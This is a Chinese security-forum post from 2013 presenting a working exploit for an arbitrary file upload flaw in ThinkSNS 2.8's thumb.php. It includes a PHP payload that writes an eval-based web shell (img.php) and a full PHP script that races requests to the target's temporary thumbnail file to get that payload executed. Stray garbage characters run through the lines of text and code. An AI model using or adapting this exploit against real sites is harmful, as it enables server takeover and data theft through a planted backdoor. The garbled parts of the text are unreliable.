找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2277|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞版本+ h5 H! t' J* g4 U8 N7 v9 ]
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
6 w0 v0 V- W' }( S& I' @5 L" |漏洞文件
9 L9 k/ T4 f  f1 N* N2 j存在漏洞的文件为:thumb.php) E$ {! p/ a0 l; q% T" _( S  j
作者:韦鲲鹏
; f! v: V/ Q: e1 \8 t, B# q% i1、        准备如下PHP文件并上传到服务器(自己的)。5 H" m! [: O4 M& z
文件内容如下:
* t/ S6 q6 c) M* b3 ]<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>$ z* H6 S" i. [4 i
2、        计算出临时的文件名:
. q3 i- k; s0 I) O这里我们可以看文件的99行(刚刚是不是没注意呀!)。' }# p  `2 J8 p& @  ?

- h; U7 T$ ^9 ^$ }3、        上传临时文件。7 Z/ `/ U, M3 _0 r# L7 U% e
4、        访问临时文件。! G5 g8 H( [0 O! ~* j7 S+ O
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
' I1 M4 C: U# n( a7 rExploit文件内容如下:(这个我就不详细解释了)+ x6 a( S' L2 A, P! v. ^+ B1 f; i/ V
<?php$ W& s; F& N5 G' V7 Y
error_reporting(0);
9 Z$ l7 o9 b# eset_time_limit(0);3 B+ M1 f4 m& l) {% X+ |- p* E
ini_set(“default_socket_timeout”, 5);9 V4 n% Q4 C2 r' g! `; Y
function http_send($host, $port, $headers) {3 n+ f* e1 h  S% `* s. v; O
$fp = fsockopen($host, $port);7 C1 p, K, \# y0 f7 S" r  H% s2 a2 r
if (!$fp) die(‘Connection -> fail’);) r5 Q8 V2 Y& F5 @9 |, Q0 b. n6 o
fputs($fp, $headers);& E" J9 ]8 [  b3 n
return $fp;5 A9 B8 G: i, O  k
}
% z0 n, U6 M- U( ?1 ?" y: Y3 K$ e6 ofunction http_recv($fp) {8 F( b( U0 w% o. X5 O' k
$ret=”";! ~4 t& ^! c2 F$ e9 n; u( I( X# s
while (!feof($fp))$ z" K3 a4 W/ I0 G2 \) V
$ret.= fgets($fp, 1024);
: n9 h! d! _5 yfclose($fp);
. J0 G! `2 ^/ m3 ~" [1 Jreturn $ret;
! v5 R, B7 k3 ]" j, E' k4 {6 C* u}$ F" a; O. m6 k4 y2 }* k+ _- z
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
) h% ^+ B, n1 D! ?% {' Rprint “# Discovered by 韦鲲鹏 #\n\n”;
) C: ~  _8 X4 u  eif ($argc < 4) {
5 L, Y! q8 R: N  I# B. ^! _  Vprint “Usage:   php <host> <path> <romote_url>\n”;
8 c0 g1 r: k2 [* \* B. |print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;8 g0 f0 o$ [7 E/ Q' e3 m
die();
+ |) q. a' D; R. H" q+ P9 S) w4 d}
+ w" }4 C5 U# r( P. `. v8 H$ X5 P$host = $argv[1];
5 I6 D! U$ I& G* p$path = $argv[2];8 u3 ]/ _, g  M
$url = $argv[3];
9 M& `7 V7 S; ~# o4 R- Y6 s+ z+ m/ |$i=0;
" h$ {& S- @& X1 q/ A; e//上传数据包
& s2 e: u% P1 s, h' G, V+ d5 |$ D$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;2 L. j: H! _+ d
$headers_up .= “Host: “.$host.”\r\n”;
6 s9 C3 q6 x2 w2 x6 T8 W2 G, r5 G$headers_up .= “Connection: close\r\n\r\n”;
4 C- j2 ?% L+ F$ I+ E( D6 r" eecho $headers_up;- R4 H4 e5 K" w' j3 `7 o
//临时文件访问数据包  T4 x: B! \: ^1 W  k
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
8 C! _# {  @9 g$headers .= “Host: “.$host.”\r\n”;
/ V- k1 ~9 Y) b+ @6 o! q3 Y$headers .= “Connection: close\r\n\r\n”;
7 ]) S: n( I! S$ P3 v5 ^echo $headers;# |, e9 N- _( ~% H% H9 f9 U) G
while(++$i<10) {
3 i8 K) A0 c7 N; y/ k: e% Kfclose(http_send($host, 80, $headers));/ c! [# v$ w7 `% C' k! o
}
5 l9 o7 g- ^( R3 i5 J' w( gfclose(http_send($host, 80, $headers_up));
# `. ~# O5 ?$ N8 y! m% h$ Ewhile(++$i<50) {
% [* p7 o% i+ S: d" lfclose(http_send($host, 80, $headers));
9 e3 `& C# c, Y) _4 X}" J3 {# ?; u' {+ F  D9 t
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;$ B4 Y2 t  ?( S+ ]) }
$headers .= “Host: “.$host.”\r\n”;
( |/ ~+ Y+ |& H) W! S# d9 ~2 }  K$headers .= “Connection: close\r\n\r\n”;  f; X3 p* }) Y9 d
$res=http_recv(http_send($host, 80, $headers));
& [( E3 Y  u8 a0 _9 Mif(preg_match(‘/200 OK/’,$res)) {
: k1 O6 g& b0 n8 F8 fprint “Success!\n\n”;
0 S5 U: W$ |4 n} else {
# I" V! P6 C% D9 B* c& d1 ]' _print “Fail!\n\n”;
! r! L0 {6 x# U& k}
2 x- }$ P( y6 H- h# h7 y, x?>7 [  D) o7 n1 y6 b
​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表